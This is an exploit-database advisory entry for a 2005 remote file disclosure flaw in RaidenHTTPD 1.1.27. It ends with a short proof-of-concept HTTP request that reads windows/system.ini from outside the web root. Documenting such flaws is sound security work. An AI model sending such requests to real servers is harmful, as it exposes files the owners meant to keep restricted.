RaidenHTTPD 1.1.27 - Remote File Disclosure



EKU-ID: 30439 CVE: OSVDB-13575 OSVDB-ID:
Author: Donato Ferrante Published: 2005-02-05 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


source: https://www.securityfocus.com/bid/12451/info

RaidenHTTPD is reported prone to a remote file disclosure vulnerability. It is reported that the service does not correctly handle requests for restricted files that reside outside of the web document root folder.

A remote attacker may exploit this issue to disclose the contents of web server readable files.

GET windows/system.ini HTTP/1.1
Host: localhost